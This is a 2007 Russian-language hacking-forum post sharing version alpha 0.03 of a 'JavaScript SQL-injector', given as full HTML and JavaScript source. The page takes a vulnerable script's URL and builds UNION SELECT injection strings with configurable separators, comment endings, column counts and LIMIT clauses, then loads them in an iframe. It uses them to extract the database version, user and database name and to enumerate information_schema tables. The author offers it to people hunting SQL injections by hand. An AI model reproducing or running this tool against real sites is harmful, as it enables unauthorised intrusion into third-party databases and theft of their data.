
30.10.2007, 15:19
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Новая версия! (alpha 0.03)
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div
{
display:none;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>JavaScript SQL-injector by -=lebed=-</title>
</head>
<script>
var sp = new Array(); /*сепаратор.*/
sp[0]="+";
sp[1]="/**/";
sp[2]=" ";
var end =new Array(); /*комментарий (коцовка)*/
end[0]="/*";
end[1]="--";
var limit =new Array(); /*limit*/
limit[0]="";
for (i=1; i < 100; i++) {limit[i]=i;}
var tables_name =new Array(); /*имена таблиц*/
tables_name[0]="";
tables_name[1]="information_schema.tables";
tables_name[2]="users";
t = new Array()
for (i=1; i < 100; i++) {
t[i] = new Array()
t[i][0] = i;
t[i][1] = "version()";
t[i][2] = "user()";
t[i][3] = "database()";
t[i][4] = "concat(version(),0x3a,user(),0x3a,database())";
t[i][5] = "table_name";
}
var url="http://"; /*целевой URL*/
var tek_url=url; /*текуший URI*/
var s=""; /*накопитель*/
var n=0;
var m=0;
function get_url(f) {
url=document.search.url.value;
n=1;
b=document.search.separator.value;
p=document.search.parametr.value;
stlb=document.search.stolbec.value;
tabl=tables_name[document.search.n_table.value];
lm=limit[document.search.limit_n.value]
if (stlb!=1)
{s=t[n][0]}
else {s=t[n][document.search.output.value];}
while (n<document.search.colum.value)
{
n++;
if (n!=stlb) {m=0;}
else {m=document.search.output.value;}
if (n==1) {s=t[n][document.search.output.value];}
else {s=s+","+t[n][m];}
}
if (document.search.n_table.value!=0)
{tabl=sp[b]+"from"+sp[b]+tables_name[document.search.n_table.value];}
if (document.search.limit_n.value!=0)
{lm=sp[b]+"limit"+sp[b]+limit[document.search.limit_n.value]+",1";}
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+tabl+lm+end[document.search.end_of.value];
document.search.tek_url.value=tek_url;
document.search.colum.value=n;
changePage(tek_url);
pause ();
}
function inc(f) {
document.search.colum.value++
get_url(f)
}
function dec(f) {
document.search.colum.value--
get_url(f)
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
</script>
<form name=search method=post>
<label>Ведите путь до уязвимого скрипта
<input name="url" value="http://" size=110%>
</label><br>
параметр: <input size=5 name=parametr value="-1">
разделитель: <select name=separator>
<option value=0 selected>+
<option value=1>/**/
<option value=2>пробел
</select>
лимит: <select name=limit_n>
<option value=0 selected>?
<option value=1>1
<option value=2>2
<option value=3>3
<option value=4>4
<option value=5>5
<option value=6>6
<option value=7>7
<option value=8>8
<option value=9>9
<option value=10>10
<option value=11>11
<option value=12>12
<option value=13>13
<option value=14>14
<option value=15>15
<option value=16>16
<option value=17>17
<option value=18>18
<option value=19>19
<option value=20>20
</select>
комментарий: <select name=end_of value=0>
<option value=0 selected>/*
<option value=1>--
</select>
колонок: <input size=5 name=colum>
<input onClick=inc(search); type=button value="+" name=calculateit>
<input onClick=dec(search); type=button value="-" name=calculateit>
<input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
Вывод: <select name=output>
<option value=0 selected>цифры1,2,3...
<option value=1>version()
<option value=2>user()
<option value=3>database()
<option value=4>concat(version(),user(),database())
<option value=5>table_name
</select>
В столбец №: <input size=5 name=stolbec value=1>
из: <select name=n_table value=0>
<option value=0 selected>?
<option value=1>information_schema.tables
<option value=2>users
</select>
<br>
текущее значение: <input name=tek_url size=110% readonly>
</form>
<body onload="changePage()">
<iframe id="ifrm" src="" width="100%" height="500%"/>
</body>
</html>
Добавлено:
- вывод полезной инфы в отображаемый столбец.
- добавлена возможность использовать LIMIT
- добавлена работа с INFORMATION_SCHEMA
В Планах:
- наращивание функционала;
- пополнение списка имён таблиц и названий колонок
Зы: Рекомендую затестить, тем кто ищет скули ручками и отписать замеченные баги (если есть).
Последний раз редактировалось -=lebed=-; 30.10.2007 в 18:22..
|
|
|